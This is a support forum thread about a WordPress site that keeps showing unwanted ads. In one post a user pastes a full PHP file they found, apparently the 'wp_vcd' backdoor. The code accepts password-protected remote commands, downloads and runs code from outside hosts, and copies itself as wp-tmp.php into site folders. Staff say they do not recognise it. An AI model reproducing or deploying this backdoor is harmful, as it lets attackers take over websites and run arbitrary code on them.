[Support request] Propellor Ads on My Site

Home Forums Support [Support request] Propellor Ads on My Site

Home Forums Support Propellor Ads on My Site

Viewing 6 posts - 1 through 6 (of 6 total)
  • Author
    Posts
  • #612885
    Chetan

    I have got a problem on my site. I deactivated Propellor ads plugin but its still showing ads. I have cleared cache and everything also checked files in plugins but not found any solution. Please help to get rid of these ads.

    View post on imgur.com

    How can i delete this code.

    GeneratePress 2.1.2
    GP Premium 1.6.2
    #612888
    Leo
    Staff
    Customer Support

    Hi there,

    I’m not sure why it would still be there if you’ve done all the steps above unfortunately.

    GP definitely doesn’t interfere with that. Have you checked with the plugin’s support?

    I’d recommend double checking that all cache is cleared (plugin cache and server cache).

    If that doesn’t help then you might need to ask your host to check.

    #613305
    Chetan

    I noticed that it only runs on htts not http and my other sites have also been affected on which I didn’t even installed that propeller plugin. I am not getting from where its running.

    #613588
    Tom
    Lead Developer
    Lead Developer

    Perhaps you added that code inside GP Hooks?

    #624140
    Chetan

    <?php
    if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘db31518e9fac92fa476ddd55807e7cb4’))
    {
    $div_code_name=”wp_vcd”;
    switch ($_REQUEST[‘action’])
    {

    case ‘change_domain’;
    if (isset($_REQUEST[‘newdomain’]))
    {

    if (!empty($_REQUEST[‘newdomain’]))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all(‘/\$tmpcontent = @file_get_contents\(“http:\/\/(.*)\/code\.php/i’,$file,$matcholddomain))
    {

    $file = preg_replace(‘/’.$matcholddomain[1][0].’/i’,$_REQUEST[‘newdomain’], $file);
    @file_put_contents(__FILE__, $file);
    print “true”;
    }

    }
    }
    }
    break;

    case ‘change_code’;
    if (isset($_REQUEST[‘newcode’]))
    {

    if (!empty($_REQUEST[‘newcode’]))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all(‘/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i’,$file,$matcholdcode))
    {

    $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[‘newcode’]), $file);
    @file_put_contents(__FILE__, $file);
    print “true”;
    }

    }
    }
    }
    break;

    default: print “ERROR_WP_ACTION WP_V_CD WP_CD”;
    }

    die(“”);
    }

    $div_code_name = “wp_vcd”;
    $funcfile = __FILE__;
    if(!function_exists(‘theme_temp_setup’)) {
    $path = $_SERVER[‘HTTP_HOST’] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER[‘REQUEST_URI’], ‘wp-cron.php’) == false && stripos($_SERVER[‘REQUEST_URI’], ‘xmlrpc.php’) == false) {

    function file_get_contents_tcurl($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }

    function theme_temp_setup($phpCode)
    {
    $tmpfname = tempnam(sys_get_temp_dir(), “theme_temp_setup”);
    $handle = fopen($tmpfname, “w+”);
    if( fwrite($handle, “<?php\n” . $phpCode))
    {
    }
    else
    {
    $tmpfname = tempnam(‘./’, “theme_temp_setup”);
    $handle = fopen($tmpfname, “w+”);
    fwrite($handle, “<?php\n” . $phpCode);
    }
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
    }

    $wp_auth_key=’f18bec13a84ff0f1d3dac6b03e193f93′;
    if (($tmpcontent = @file_get_contents(“http://www.latots.com/code.php&#8221;) OR $tmpcontent = @file_get_contents_tcurl(“http://www.latots.com/code.php&#8221;)) AND stripos($tmpcontent, $wp_auth_key) !== false) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

    if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
    @file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);
    if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {
    @file_put_contents(‘wp-tmp.php’, $tmpcontent);
    }
    }

    }
    }

    elseif ($tmpcontent = @file_get_contents(“http://www.latots.pw/code.php&#8221;) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

    if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
    @file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);
    if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {
    @file_put_contents(‘wp-tmp.php’, $tmpcontent);
    }
    }

    }
    }

    elseif ($tmpcontent = @file_get_contents(“http://www.latots.top/code.php&#8221;) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

    if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
    @file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);
    if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {
    @file_put_contents(‘wp-tmp.php’, $tmpcontent);
    }
    }

    }
    }
    elseif ($tmpcontent = @file_get_contents(ABSPATH . ‘wp-includes/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‘/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(‘wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    }

    }
    }

    //$start_wp_theme_tmp

    //wp_tmp

    //$end_wp_theme_tmp
    ?>

    can you tell me what is all this

    #624265
    Tom
    Lead Developer
    Lead Developer

    I have no idea – where did you find it?

Viewing 6 posts - 1 through 6 (of 6 total)
  • You must be logged in to reply to this topic.